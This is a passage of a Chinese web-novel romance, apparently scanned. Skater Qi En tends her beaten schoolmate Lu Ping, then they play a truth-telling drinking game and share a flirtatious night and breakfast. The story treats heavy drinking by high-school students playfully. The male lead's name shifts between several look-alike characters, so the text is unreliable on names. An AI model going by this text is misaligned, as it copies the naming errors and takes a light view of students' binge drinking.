到了人民医院,先去一楼大厅挂了外科。
小孩在科室里面诊,齐恩坐在听,频频点头,能说上话。周诠对此一窍不通,只能傻站着。
过了十几二十分钟。小女孩的父母也赶来了,看得出有些相关常识,对孩子望闻问切一番。
运动员的身体就像一个容器,里面斟满了水,受一次伤就是洒出一点,叫磨损,总有油尽灯枯的时候。齐恩自己淋过雨,想给他人撑伞。
“真厉害,你经常应对这种事吧。”周诠说。
“其实也很少,大家都能不受伤就不受伤。”齐恩顿了顿,“今天算我欠了你一个人情。”
“你是不该客气的时候客气。”周诠转着手里的车钥匙,“这就是小事,力所能及的事。”
关键时候,还挺靠谱。齐恩对周诠这人真是既讨厌又没那么讨厌。进了电梯,齐恩想起来:“对了,你不是还有饭局吗?可别耽误了。”
“那有什么,先送你回家。”周诠话锋一转,“还是,我们的前国手愿意赏脸做我女伴?”
齐恩挑了挑眉,真是会挑时机,刚欠了他人情就提这个,偏偏此时此刻,真让人不好拒绝。
齐恩离答应就差一个点头的距离。
也就是这时候,她瞥见一个人影。
他坐在那儿,也是外科科室,前面有人排队。他身上脏兮兮的,脸上也是,有淤青和血渍,却很平静地抱着破旧的黑书包和校服外套。
对校服外套,他显然更重视一些,厚重的卷发垂坠遮住半边脸庞,看不清他的表情,他低头端详校服上的破洞,用指尖摩挲,像在犯难。
他坐在那儿,因为凑近看校服而显得像蜷缩,双腿屈起,脊骨沉重,负担着什么。惨白没有温度的灯光落在身上,像一个幻想出的角色。
齐恩几乎以为自己看错了。
她不可置信地走到他面前。
“卢俜。”她冷声道,“给我把脸抬起来。”
卢俜听到了,肩膀挪了挪,却没有言语。
“我说你把脸抬起来!”齐恩掰高他的下颚,强迫他和她对视。一瞬间,齐恩也看清他脸上骇人的伤痕,大片淤青落在颧骨,遍布侧颊。
齐恩的呼吸一下子凝住了。
她浑身的血液都冷到零下。
“这他妈用什么打的?”她去碰他脸上的伤,只一下,自己都于心不忍地收回手。卢俜得以往后撤了半分,一手捂着脸,让她不要看他。
会吓到她的。这是他最直观的想法。
“你的校服。”卢俜捏住了衣角,“可能洗不干净了,我会买一件新的还给你,对不起。”
“什么?”齐恩气笑了。
“你有种再说一遍?”
“我会买……”
话音未落,齐恩俯身抓住他的衣领。
“你他妈再给我逼逼一句有的没的?!”
“我是不是跟你说了,有事来找我,有事给我打电话?!你被卢佳堵了为什么不告诉我?!如果我没在医院撞见你,你是不是假装什么也没发生过?!你他妈到底有没有把我当……”
齐恩咬牙切齿地诘问。
却又逐渐偃了声息。
周诠过赶来,看到的就是这剑拔弩张的一幕。他下意识去拦住她,却被齐恩一把推开了。
“你这是被……”他打量着满身是伤的卢俜。
卢俜并不想被人看到现在的模样,抬手去遮,怀里的校服突然被抽出,紧接着盖在了脸上。
“……把自己遮严实。”
齐恩的嗓音透过单薄的布料传了进来。
像溺亡水底的人抓住了日光的细束。
卢俜周身陷入黑暗的刹那,世界都寂静下来。残缺灰乱的校服变成一道保护罩,隔绝了四面八方的嘈杂声。医院不再是一个冰冷的地标,避风港不在无论何处,仅存在于齐恩的身边。
不可以依靠他人。
卢俜再三告诫自己。
齐恩隔着校服,轻抚他的背部,拍拍再拍拍,像安慰小动物那样。她又和周诠说了些什么,对方很快就离开了,她在卢俜的身边坐下。
“把你的手给我。”
卢俜不明白她想做什么,手掌也有磨破的血,他不想让她看见,装作没有听见的样子。齐恩重复了第二遍第三遍,在她说第四遍的时候,卢俜才从校服里伸出左手,齐恩一把握住了。
她牵住了他的手。
在校服之外的地带。
在光线清晰的场所。
卢俜慌了神,下意识挣开,齐恩却握得很紧,不动摇,把他擦伤的血肉也用掌心焊住。卢俜迫于无奈说手很脏,齐恩只问他挂的什么号。
卢俜报了号码,还想着挣脱,齐恩说你再动我现在就走。卢俜一下子僵住了,没有再动作。
叫到了号,齐恩扯下他脸上的校服,随意仍在地上。卢俜弯腰要去捡,齐恩把他的手一拽,强迫他跟着她进了诊室。大夫看到他这样也是倒吸了一口冷气,先是把脸上的伤看了,又问身上有没有。卢俜的伤基本再上半身,大夫让他先脱掉短袖,他迟疑地看了眼一旁的齐恩。
“让你脱。”齐恩睨他。
“我难道还没看过吗?”
卢俜脸一红,咬着唇,背对齐恩脱了衣服。
大夫看完了他身上的伤,让他去拍个片子。
拍完片子,大夫拿着X线片看过,说卢俜的脸上可能有轻微的骨裂,身上的伤还好,大多是皮外伤,左肋骨有两处较为严重的淤青,皮下出血量大,大面积的紫红色,目观十分骇人。
“回去先用冰敷,四十八小时后再换热敷。”大夫开药单子,“云南白药,直接用红瓶的,晾几分钟再用白瓶,红花油过两天再抹。”
“谢谢大夫。”齐恩带着卢俜去一楼开了药,又问护士有没有冰袋。护士说医院的冰袋卖二十块,不建议花冤枉钱,对面大药房便宜点。
医院对面的药房是齐恩常去的,她基本上只在大药房买补剂。她用医保卡,正好家里维C和叶黄素都吃没了,又给卢俜买了两个冰袋。
“哦对了,前段时间你爱吃的那款褪黑素不是没货了吗?最近又进货了,给你拿两盒?”
“不用。”齐恩笑说,“最近睡眠好些了。”
“怎么呢?”老板问,“放假了是吧?”
“没有,在喝那个祛湿茶,有点效果。”
老板大笑起来:“我早同你讲了饮茶有用饮茶有用!你敢不信,现在知效果有多好了吧?”
齐恩接过药袋子,从里面捡出冰袋和毛巾递给卢俜:“把俊脸敷着,毁容我就不要你了。”
卢俜心想,哪里来的俊脸。
他还是乖乖地接过照做。
他们打车回家。在街口,卢俜要拿过齐恩手里的袋子,齐恩说不用:“你手上不是有伤吗?又要背书包又要敷冰袋的,哪里用得上你?”
“……给我。”卢俜执意要提。
“别急,我待会有东西要你提。”
到了聚民社区,齐恩走进711便利店,扫了眼冰柜货架一排啤酒,手随意一指:“这个。”<
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p> 卢俜没想到齐恩要买的是酒,拿了一瓶,不料她说:“这个不要,其余每种口味来两瓶。”
卢俜瞠目结舌,齐恩说又不是我一个人喝。
“就算我们两个人喝,也喝不完这么多啊。”
他反应过来,“我什么时候答应和你喝了?”
“就在刚才。”齐恩说,“在医院我给你脸,因为那是公开场所,到了聚民这块儿,你可得打听打听我齐恩是谁,把尾巴夹起来做猫。”
卢俜刚要开口,齐恩以略沉的眼神打断。
“我心里不舒服。”她说,“因为你。”
“……知道了。”
他没有犹豫地拿酒,直到酒罐子装满了两个最大号的塑料袋。齐恩要结账,他抢着付了钱。
到了齐恩家,不用她说卢俜也知道自己进来
。
他俯身换拖鞋,又把鞋在门口摆放好,这也让齐恩略微讶异,不是会做讨人高兴的事儿吗?
齐恩开空调,让卢俜在沙发上休息一下,问他有没有吃饭,卢俜说没有,齐恩说我也没有。
“本来能吃上,但是一个小姑娘意外扭伤了,情况比较急,我和周诠就先把她送医院了。”
卢俜嗯了一声,说自己家里有没吃完的零食。齐恩说吃那玩意不顶用,而且你可是个病号。
“病号也不能喝酒。”卢俜坦言。
齐恩冷冷乜他一眼,他收了声。
“吃什么?我来点外卖,吃清淡点?”
卢俜点头说好,齐恩点了胡椒牛肉煲。
卢俜犹豫:“牛肉是发物,胡椒辛辣。”
“那吃砂锅鲜虾粥吧,这个很清淡的。”
“虾寒性大,而且不利于伤口愈合。”
“莲子猪肚汤?老火靓汤总毛闷台吧。”
“莲子,滞涩阻气,也不是很好消化。”
“那你到底要吃什么?我的少爷!”齐恩骂,“你们广东人可真难伺候!粤圈太子爷是不是都爱去山卡拉吃走地鸡?然后帮女主啷碗?”
卢俜没话说了,局促地把双手放在膝盖上。
“……我都可以,你点些你爱吃的就好。”
“食这个大骨萝卜汤,再一份金包银炒饭。”
卢俜没意见,就是楼下老字号餐馆,二十分钟送上来了。卢俜趁这时间回自己家洗了趟澡,顺带换了长袖长裤,收拾干净才肯下来吃饭。
炒饭配汤,越吃越香。
卢俜下酒,越喝越有。
唯一美中不足的,少年脸上的伤看着很扎眼,齐恩放下碗筷:“下次他们打你,能不能提前说好别打脸?好好一个小猫给我干成这样。”
“……”卢俜装听不懂。
“你再给我装死试一试?”
“没有下次了。”卢俜咬了一口大骨上的肉,“以后不会了……这种事情不会再发生了。”
“为什么?”齐恩抬起头,“你什么打算?”
卢俜不说,目光闪烁几巡,最后只是喝酒。
好吧,齐恩心想现在不是他说真心话的时候,她又开了一罐鸡尾酒,卢俜接过就倒进杯里。
人有心事,借酒消愁。
这不是一句玩笑话。
吃饭时卢俜喝了两三罐,已经算是喝得急了,齐恩让他把外卖盒扔到楼下,他都走不直路。
可卢俜回来的时候,齐恩要唱的戏才刚开始。
她在桌上摆满一次性的塑料杯,足足上百个,每个杯子都斟满了缤纷的鸡尾酒,度数不高,但一杯杯接连灌下去,也不是好糊弄的事儿。
卢俜问:“……哪来的喝法?”
“齐恩独创喝法———真心酒杯。”
“顾名思义,只有真心话没有大冒险。”齐恩介绍玩法,“互相问问题,必须回答真心话,不可以说谎。没回答出来就要受惩罚喝一杯,回答了就是提问者来喝,总之!就是要喝!”
她比了一个豪饮的夸张手势。
“卢俜,你该不会不敢吧?”
卢俜说没什么不敢,直接开始吧。
两个人在桌前坐下,齐恩问谁先。
“……你先。”卢俜说,按理女士优先。
“还是你先吧,你是新手,我让你三局。”
好狂妄的口气。
卢俜眯了眯眼。
说是问问题,其实要真的问点什么,卢俜说不出口,或者说,许多事他都更习惯藏在心底。
“快点儿啊。”齐恩嗤笑,“别到时候被问趴下了,我可先说好,我是不会嘴下留情的。”
我也不会。半醉的卢俜心想。
心底话就那么脱口而出了。
“你和张其薪……”他顿了顿。
“你们,到底是什么关系?”
30、金风玉露
卢传说完,齐恩就开始笑,还不是那种不遮掩的笑。是明眼人能看出来的偷笑,明艳动人的眼波在打转、勾缠些什么,在方寸距离之间。
直到卢偶也感到非常不自在。
"……你不是说可以问吗?"
“可以。”齐恩咬着下唇止笑,一瞬间正色,“当然可以,随便问,就要百无禁忌地问。”
“我和张其薪之间的关系,你想知道的,就是这个,对吗?”齐恩装作在认真思索的模样,“没有关系。”她摇头,“只是朋友而已。”
只是朋友。
却很亲密。
可以拿试卷拍额头的朋友。
齐恩目如盏灯地同他对视,说只是朋友而已,毫不怀疑她就是那样想的。卢传一时间竟没了思路,接下来又该怎么问,他还有两个问题。
迟钝的头脑在思考,酒精化作一枚枚阻断运行的错零件,使理性不断卡壳,直至完全罢工。身体在发热,被弄伤的地方也变得麻木,如此看来酒精还有一个好处,就是让人无所顾忌。
“你……”卢停靠着椅背缓神。
“你对所有朋友,都这样吗?”
“哪样?”齐恩说,“这是第二个问题吗?”“对所有人……都这么好。”卢停言不由衷。
“那要看哪方面了,如果是真心的朋友,别人付出多少,我会只多不少。”齐恩耸了耸肩,“如果是不愿意和我交心的朋友,什么都瞒、不待见我,压根不把我当朋友的朋友….”她顿住。
卢停知道她说的是谁。
他心虚地低下了头颅。
"好啦,不吓你啦。”齐恩露出知心的笑容,“还有最后一个问题,快快想,要问什么?"
卢停感到口干舌燥,他已想不出问题了,只想喝酒。至此他发现自己也许早就失控了,后知后觉,真令人惶恐,他忍不住想更麻木一些。“……急什么?”齐恩摁住他伸向酒罐的手,“还有一个问题呢,待会儿可有你喝的。”
狂妄,自大,符合一切齐恩的特质,却又让人无法讨厌起来。他吃力地把身体转向眼前人。面对齐恩时,他最害怕的事也是最简单的事。
".….…你会不会讨厌我?"
齐恩没想到这算个问题。
"我讨厌你还让你来我家?"
她感到非常不可思议。
“我讨厌你,当初被绊下楼梯就应该骂死你;我讨厌你,就不会让你天天背我上学;我讨厌你,看到你被你那个便宜姐欺负还冲上去救你;我讨厌你,停电那晚还敢只开一间房!”
“我要是讨厌你,还上你家学习,求者你给我讲题吗?你见过一个人讨厌你,天天拉着你上下学,生怕你没吃饱,还千方百计哄你高兴?你别躲我的眼睛,你看着我,你把话讲清楚,我讨厌你,大半夜和你一起熬夜看日出……"
“卢停,你该不会以为我对谁都这样?”“我……”卢停意识到自己问错了话。
“对不起。”他手足无措,“我不该这么问,我只是怕你觉得我……我那些事很麻烦……”他不停抠着破皮的指尖,“怕你讨厌我……”他这样,自己可能不觉得,但实在懵懂极了。喝又喝醉了,脸又红得痴痴,卷卷的额发也是半湿耷在额头上,被浅褐短促的上睫毛撑起。卢停是双眼皮,眼放松低垂的时候,尤其显得人单纯无害。他的脸颊上一半是紫红的肿痕,一半是刻骨的削瘦,即便可爱,可怜更多些。
“你像今天这样什么都不说,我才讨厌你。”“….…别讨厌我。”卢停问,"可以吗?"
齐恩心想这真是犯规,她克制住想捏他脸颊、揉他头发的冲动,故意拿乔说看你的表现咯。
这个问题没有正面回答。
所以齐恩自罚了一杯。
“该我问了。”齐恩清嗓,“准备好了啊。”卢停下意识地坐直,全神贯注地聆听。
齐恩的切入很直白。
"为什么不告诉我?"
"明明有机会打给我求助,或者求助其他人,再或者就像上次那样,你报了警,这次为什么不选择报警保护自己?是因为卢佳也在场?"
“当时……”他说,“必须要那样。”“有什么事不能和我一起解决的?”
"是我自己的事。"
卢停声量渐低。
“什么都是你自己的事。”齐恩扯着喘角问,“那我又算什么?说的好像我有事的时候你没帮上忙一样,我脚伤了你不也当交通工具吗?停电那晚给我发两通消息提醒的人是谁?你是怕麻烦的人,但也
和我一起救人,在温主任面前替我打辩护,明明那也是我自己的事吧?"
卢停捏着酒杯的手指渐渐发紧。
"……没有必要做到那种程度。"
“什么意思?”齐恩夺过他手里的酒。"先说话。卢停,先把话说明白。"
“我不是重要的人,对我好到那个程度,没必要。”他不会反问,更学不来齐恩主导谈局的气场,能做的只是回应她的怒火、愤懑、以及其他,“你很忙,没必要为这些费心。”
“你的意思是,我没必要多管闲事,是吧?”齐恩怎么会不懂他言外之意,“行,很好。”
“轮到你了。”齐恩咬着杯子仰饮一杯。
卢停不争气地问:“你生气了吗?”
“什么蠢问题?”齐恩哂,“是呢。”卢停不语,伸手拿了一杯喝干净。
她说:“在医院走廊,我一直牵着你的手。”卢停当然记得,左手处还能传来明晰的触感。
“你有没有想过,我当时为什么那么做?”安慰、安抚,或仅仅觉得他很可怜。
卢停不敢有更多的想法。
“还不懂?”齐恩咧了咧嘴,"那我换一种说法,你没有察觉到?不知道自己哭了吗?"
“我……哭了吗?”
卢停不敢置信。
“不然你以为呢,我本来满腔火气怎么突然就偃了?我是那种有火不当场发的人吗?还不是因为你在掉小珍珠…嗯?小哭包?当时就该给你拍张照片的,而不是好心给你打掩护。”齐恩把卢传的羞怯纳入眼底,像逗小猫,玩够了才慢悠悠道:“不过,我有一点很好奇啊,怎么我没来的时候你没哭,反而是一见到我,你就哭了?为什么?觉得我可以依靠吗?”“你一直说这是自己的事。”她缓缓逼近他,"可是,流眼泪给我看,其实不是怕我讨厌你,而是你怨恨我吧。在挨欺负的时候,脑海里最先想到的人是谁?你敢不敢说不是我?"“.….…我不是怨恨你。”卢停却没有避让,"那你呢,当时在冰场,为什么要哭?"
"你是不是应该先回答我的问题?"卢停抿了抿唇,直接自罚以结束。
他居然拒绝回答,玩不起的家伙。齐恩冷笑一声,她可不是孬种。
“我在冰场对你哭,意思还用说吗?我信任你,你是我认为很重要的人,不然我凭什么在你面前哭?你明明知道,明明就清楚。既然不愿意推心置腹,干嘛还要在我面前乱卖萌?”
"卖……萌?"
“现在也是。”
卢停揉了把脸,"……我没有卖萌。"他按照规则要喝了一杯,齐恩拦住。
“你喝醉了,不许生我的气,又说我灌你。”“不。是我自己要喝。”卢停愿赌服输。“行,又轮到你了,问吧。”卢停却想到了另一件事。
“你那晚,是怎么打开我家卫生间的门?”“哦。”齐恩想起来了,难为他记这仇。
“很简单,硬币锁。”齐恩领着卢停到卫生间门口,从口袋里拿出一块硬币,就是最常见的一元硬币。齐恩蹲下身演示,“你看下凹槽,里面是没有锁芯的,用这个插进去一扭。”
门应声而开。
卢停试了试,果真如此。
"你为什么会学这个?"
这个就不算问题了。”齐恩侃侃而谈,“小时候的事了。我在进国家队之前,在那种商用训练场滑冰,就是可以报班眼老师学的那种。我在里面是年龄最小的,和我同一批进来的大多数会被欺负,就
是大孩子欺负小孩子的那种欺负,快上课了,老师在喊人,把你锁厕所不让你出去,最后你就会挨批,别人会偷笑。”
“被锁久了,就知道该怎么开了。我不光会从外面开,也会从里面开。”齐恩随手拿起喝完的塑料杯,用牙齿咬开,摊成一道塑料薄片,又把自己锁在卫生间内,“你看仔细了哦。”
她在门的那端鼓捣一番。
又完好出现在卢停面前。
“历害吧?”齐恩自顾自地转了个圈,“有时候是别的同学被锁,我在外面帮忙开,用一枚硬币就好。有时候自己在里面被锁,那个麻烦些,要么自备工具,要么只能随地取材。”她顿了顿,“所以
我喜欢在公共厕所抽烟的人,留下的烟纸壳子很有用,能帮上大忙。"
卢偶没想到是这个缘故。
“当时是不是要被吓死了?”她挤眉弄眼的,又模仿起卢传那时的台词,“那什么有意思?这样欺负我,你觉得有意思吗?“又摸了自己的鼻尖,”…别再拿我寻乐子了,齐恩!”
卢停喝大了,倒解决面子薄的难题。起码他没有尴尬到立即转身离开。
两人重新回到桌前,还剩一半的酒。齐恩搓掌说继续继续,又轮到我了。
“今天下午的那封情书,你说是我误会了。”齐恩摇晃着酒杯,“到底是不是我误会?”卢停张了张嘴,又阖上,最终选择缄口。
“默认了?”齐恩笑看他啜饮。
卢停:“……该我问你了。”
“你和……”头脑陷入眩晕,卢停堪堪坐稳,“你和谌俞,也是张其薪那种朋友关系吗?”
“诶,你没完了啊。”齐恩揉他,“我都没有打探你和方婕的关系,你在这里问东问西!”“你可以问。”卢停认真地澄清,“她今天来学校了,问我去不去她的聚会,我说不去。”
"那她得急眼了吧?你用什么理由?""我就说,我很忙,会一直很忙。"
“要是真忙,还会坐在这儿和我喝酒?”齐恩摇头感慨,“男人啊,不爱的时候最忙。”
"我和她没关系。你别再这样说。"卢停显然有些不高兴了。
“说两句也不让说了
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!”
"……你还没有回答我。"
“回答你,回答你。”齐恩抬手。
“我觉得谌俞好像
喜欢我哦。”
她知道,卢停心想,明眼人都看得出来。那封情书的乌龙,他不知自己做错与否。
“你对他……”卢停意识到这是隐私的话题。"那是下一个问题。”齐恩说,“该我了。"
卢停还有一杯酒要罚,他正要拿酒杯,齐恩摁住他贴了膏药的那只手臂,说他喝得很多了。
“……没关系。”
今夜早已出格。
“那我就问最后一个问题,你可以选择回答,也可以选择不回答。”齐恩蹙着眉头看他,“而且你不能再继续喝了,你真的喝醉了……卢停,卢传?你听得见我说话吗?抬起头。”
卢偶竟不知自己何时出了神。
“在听……”他频频地点头。
“你问了这么多我和别的男生的事。”齐恩咬着拇指盖,无声笑了几秒。
“该不会,你也喜欢我吧?”
“….…那你讨厌我吗?”卢停突然直截了当。齐恩愣了愣,“我不是早就回答过你了吗?”
"不对……”他说,“你说要看我表现的。"
齐恩心想也就骗的了他:"啊……是呢。"
“我表现得好吗?”声调里有明显的希冀。齐恩故意摇头,又摆出不太满意的神色。
“就这样啊?”
卢停抿唇,做了个齐恩意想不到的动作。他拉近她的凳子,使她近距离地面对他。
卢停不做他想,只是眼前太模糊了,他看不清齐恩的脸,不知道她的笑出于揶揄还是真诚。
可他需要知道,就像知道她讨厌他与否。那对他很重要,一点点,都会更加不安。
“能不能告诉我?”他问,“不喝酒那种。”“你很想知道呀?”齐恩不闪躲他的靠近。"对,好想知道。”卢偶说,“该怎么做?""嗯?你不是知道吗?"变成一只小猫。
卢停确实知道了,被齐恩用归纳的眼神描绘。他揉了揉头发,先凑近她,乖乖地低下脑袋。
齐恩没有动作。
卢停说可以摸。
齐恩轻抖着身体,以抑制狡黠的坏笑,看吧,还是送到她手上了。卢停不明所以,干脆抬起她的手,放在自己的发间,“这样可以吗?”
他试着去磨蹭她的掌心。
齐恩笑着说好痒啊。
"高玟家的小猫就这样。”齐恩顺而大胆地揉搓起来,“会用脑袋来蹭人,特别可爱。"卢停因她的笑而晕晕然:".……蹭哪里?"
"手啊,脸颊啊,脖子啊。"齐恩话音刚落,卢停把她的手移开,想当然地拿额发去蹭她。
喝了酒,卢传的额头是烫的,齐恩的脖颈还是温凉的。他感觉到她瑟缩一下,或许是自己。好近,这是现实的距离吗?酒精让他大着胆子亲近她,还是别的东西?卢传,别再说谎了。
卢停快分不太清了。
冷火在身体里挣扎。
“你真的喝醉了。”齐恩正色道。“……没有。”鼻尖擦过她的锁骨。
“这样,还讨厌我吗?”
他说话有清浅的热汽。
齐恩痒得不行了,心里毛茸茸、软乎乎的。她边笑边躲,卢停分开手臂撑在椅子两侧。
对于大部分人来说,卢传的身高其实都很有压迫感,但他的气质并不尖锐,反而像圆木一样无害。齐恩才发觉他块头并不小,需俯身才能蹭到她的下巴和耳朵,并目阴影完全罩住她。“这不是犯规吗?”齐恩垂首看到他脸上的伤痕,真可怜,她伸手去摸了摸,被卢停摁住。
“……怎么了?”卢传满脸潮红。"到底是什么东西打你的脸了?"
“……指虎。”卢停埋首在她颈间。齐恩心里一跳,“是那种凶器?”
“那么大一块铁件,得把你疼死了吧。”齐恩咋舌,“难怪一见到我就委屈地掉眼泪了。”
“不是……因为委屈……”卢停嘴唇微动。
像吮吻到齐恩的动脉。
“什么?”声音太小了。
卢传的脑子也很乱,注意力全部放在齐恩贴住他脸颊的手上,麻木的苦楚开始变得剧烈了,在心跳的争吵里。被触碰到的肿胀,好刺痛、好孤单,好像渴水的人恰逢甘霖,他相逢她。
金风玉露一相逢。
胜却人间无数。
他仰了仰颈,发梢碰到她的脸颊,不敢看她,天使一样的人,好像发着光。整个灰暗的世界里他只感觉到齐恩在耀眼。不可以依靠他人,卢传千百次告诫自己,却在一干零一次妥协。
卢停想贴近她那弯弯的唇角。
却努力用理智去剥离感性。
这一刻他认识到。
自己也是卑劣的人。
“可以。”齐恩轻语。
“你可以亲我的脸。”
卢停没有动作,兀自垂着微湿的睫。齐恩又说:“我允许你亲我的手。”
卢停侧耳吻了吻她的手背。
31、最难的事
次日卢停完全不认为自己有脸醒过来。尽管他已经睁开眼,望着陌生的天花板。
“我……”他开口,发现声音沙哑得难听。"醒了?”齐恩靠在门边,“还ok吗?"
卢停被吓了一跳,肩膀小幅度地抖了抖。他一手扶住胀痛的脑袋,一手撑床坐起来。
环顾四周,这是齐恩的房间。
而卢停正睡在齐恩的床上。
“你醉成那样,大半夜走不动道,只能让你睡我家咯。”随着齐恩喋喋不休的解释,昨晚的事一点点回笼,卢传脑海里的画面停留在———
那一枚手背的亲吻上。
为什么会做那样的事?喝了酒之后简直像失了心疯!宿醉后的卢傅感到羞耻、耻辱、追悔莫及,早知道就不喝了,早知道就不来了,早知道就 可世界上正巧没那么多“早知道”。
“昨晚的事……”他干涩的嘴唇嗫嚅。齐恩颔首:“是啊,你要对我负责。”
卢停的脸色变了又变。
他第一时间看向下身。
他闭了闭眼:“我会的。”
齐恩感到好笑:“那你想怎么负责?”“可以……结婚。”卢停认命般的。
“把我想成什么人了?”齐恩无奈扶额,“我什么都没对你做!你再想想,昨晚你睡的我床,我睡的客厅,不记得了?真是睡得我腰酸背痛啊。好学生,你打算怎么对我负责呢?”
卢偶呼吸一滞。
她就是故意耍他。
“怎么?难道你希望昨晚发生点什么?”齐恩笑吟吟地歪头,“行了行了,不逗你了,看来你真的什么都不记得了。赶紧起来,帮你把药上了,然后去吃早饭……当然是你请啊。”
卢停拖着沉重的躯体起身。昨晚上忘记拿药,还留在齐恩家里,正好方便了她帮他上药。
齐恩大手一挥:“脱———”
卢偶推脱:“我自己来吧。”
“你自己擦得到后背的伤吗?”齐恩才懒得和他多废话,“快点的啊,别让我来帮你脱。”卢停只能妥协,低声喊了句“你别看”,背过身去脱下短袖。他说不看就不看?真是好笑。齐恩好整以暇地欣赏着少年劲瘦的腰身。
她拿出红瓶云南白药上下摇晃:“转过来。”
卢停转过身,齐恩俯身认真给他淤青处上药。
冰冷的药雾喷在伤口处,一开始是冷,后来变成隐隐的灼烧感。卢傅感到很煎熬,被上药和被齐恩注视相比,后者更无所适从。他的喉结滚了又滚,担心着身体在晨起时的某种反应。好在齐恩状若未觉,给他上完红瓶上白瓶,又用碘酒把上身破皮的地方擦了一遍。有擦伤在耻骨处,卢传顺带瞥了一眼下腹,这……他急得整个人往后躬,一把抢过齐恩手里的棉签。
“….…我自己来!”这回很坚决了。
齐恩没说什么,轻嗤着背过身去。
卢传刚擦完药,还不能立刻穿衣服,齐恩让他先去卫生间洗漱。“牙刷还有新的,洗脸巾在柜台上,你不要直接用水洗脸,小心伤口。”
说罢,齐恩的l视线略过了某物。
她笑着随手拍两下他的侧腰。
"小伙子一大早挺有活力啊。"
卢传逃也似的进了卫生间。
刷牙,洗脸,很简单的步骤,但因为在陌生的领土,而显得拘谨又局促。卢传透过洗手台前的镜子看着自己的脸,被指虎打伤的左颊依旧高肿,细碎的淤血斑已经由鲜红转为青黄色。很刺眼、很丑陋、所有不明朗寓意。
与之相反的,他竟然只能想起齐恩。
想她从那张柔软米白的大床上醒来,抻着夸张也曼妙的懒腰,晃晃悠悠拉开窗帘,有生命力的阳光穿透身体和空荡衣料间的空隙。站在镜前,她最先看到的永远是那张巧夺天工的脸。真是般配,难怪她从未闪躲过什么。
难怪永远只有别人为她着迷的份儿。
昨晚发生的一切,褪去最初的青涩和羞耻,更陌生的情绪涌入卢傅的胸膛。那是一种诡异而不配得的满足感,像偷窃了谁的幸福。她的手曾贴在他不堪的伤处,而他……竟亲吻了她。卢传从卫生间里出来,齐恩在沙发上躺坐,仰着雪白的脖颈耍手机。想到昨晚做的荒唐事,卢偶可悲又可耻地低下了脑袋。他问齐恩想去哪儿吃,齐恩也没有主意,说先去街头看看。聚民街头的早点铺子多,上次很好吃的小笼包铺子也在附近。齐恩走走看看,选了猪血汤。
“这个很好啊,你流了很多血,猪血可补血,益母草能活血化淤,还有蔬菜补充维生素。”齐恩分析得头头是道,“而目暖胃,你作晚喝那么多,胃都烧坏了,正好汤汤水水合适。”她那么上心,卢停反倒不好意思了。
“谢谢。”他说,“昨晚麻烦了。”
“这有什么,我说了,齐恩姐会罩着你嘛!”齐恩笑嘻嘻地,"只要你把保护费交够!"当然要请客。两人选蔬菜去结账,卢停付钱。猪血汤很快做好,老板端上热腾腾的汤碗。见年轻的食客脸颊上的淤伤太明显,他也不禁好奇地问:“小伙子怎么被人打成这样了?”卢偶不愿作答,抿唇不语。齐恩却能自然地接过话茬。
"老板,我家暴他。"
“.
……唔系!”卢停急得方言都讲出来了。老板哈哈一笑:“唔系就唔系慨,急咩啊?”
逗年轻人好玩,逗靓男靓女更是很有意思,老板一边忍笑一边走远了。卢停捏着勺子生气,兀自干巴巴地舀了两口,才生硬地责备道:
"….…你怎么老爱说些让人误会的话?"
“我坏啊。”齐恩面不改色。
卢停就只顾闷头吃东西了。
吃饱了,齐恩慢悠悠擦嘴:"要去哪儿?"“回家。”卢停吃的快,已经等了她一会儿。
齐恩听到天大的笑话:“你疯了吧卢停?!”有什么问题吗?卢停不明所以地驻足瞧她。
“今天啊,今天!”齐恩手指叩了叩桌面。卢停翻看手机日历:“是很重要的日子?”
"今天可是期末考后的第一天啊!"“……”卢停有些无语,“所以?”
齐恩眨巴着眼:“不应该玩儿嘛?”“有什么好玩的?”卢停无法理解。
“有道是,大考大玩,小考小玩,考前考后,玩前玩后。”齐恩振振有词,“考完第一天,不对答案纯聊天;考完第二天,试卷丢到天边边;考完第三天,学卵学啊!饮茶先啦!”
“好!好!”在写作业的老板儿子连连称赞。一时间,店里店外的客人们纷纷大笑起来。
只有卢停满脸写着不乐意。
齐恩用胳膊肘碰他:“好啦好啦,好学生,知道你忙着学习,你就陪我玩一天嘛,就一天,多一分钟多一秒钟我是小猫!反正再过几天我就要走了…就再也烦不着你了,对不对?”
“……走?”卢停下意识问,“什么时候?”"集训啊,七月中旬,十号一早的飞机呢。"
卢停这些日子听齐恩提过,但也是一笔带过。没想到时间过得这么快,就要到临行的关头。
"你……”卢停顿了顿,“什么时候训完?"“边走边说。”齐恩推他,“饮coffee先!”
七月了,雷雨和艳阳在广省上空徘徊,极有可能上一秒还是大太阳,下一秒就阵雨连连。
齐恩抬头一看,乌云重坠,今天天气并不好。
“你带伞了吗?”齐恩问。
卢停愣了愣,“没有。”
到小区门口的咖啡店,齐恩看了眼天气预报:“待会儿有暴雨,恐怕去哪儿玩都不方便。”
在听到她说出“还是回家吧”,卢停理应感到如释重负,可事实并非如此,这也使他再一次产生动摇。他将齐恩悻悻然的神情纳入眼底。“….…可以去室内的场所。”他提议。"本来想带你去客鸟尾看日落的。"
齐恩撅了撅嘴。
"下次吧。”卢停说,“我先请你喝咖啡。"齐恩一下子高兴起来:“感谢卢老板呀!”
他们在咖啡店蹭冷气,喝冰块很多的奶制品。零卡糖低脂奶是齐恩的底线,卢传问她为什么总喝低脂的,齐恩理所当然地说,维持身材。
“你不胖……”委婉地说,是太瘦了。“所以维持嘛。”齐恩吮了口咖啡液。“啊。”她惊呼一声。"喝错了,不是我的!"
两个人点的都是新品,也不好辨认,喝错并非齐恩的本意,想到卢停是有洁癖在的,她连忙起身:“我的锅,我去给你换一根吸管吧。”"卢停抿了抿唇,没有立刻应下,而是问她怎么喝出来的。齐恩说脱脂奶和全脂奶的口感肯定不一样啦,她把自己的递给他:“你尝尝?”"我喝过……你还怎么喝?""我又不嫌弃你的口水。"
卢停没想喝,又听见齐恩说:“不像某些人,是真的重度洁癖!刚见面的时候,对肢体接触过敏一样,对我里里外外不耐烦,是谁啊?”她打趣他,肩膀又拱过来、拱过去,存心要让卢停不自在。卢传手臂上还有伤,嘶了一声,齐恩立刻不折腾了:“呀,忘了你是病号!”卢停揉了揉肩膀,没说什么,端起齐恩的咖啡喝了一口,又抿了一口自己的,确实有区别。
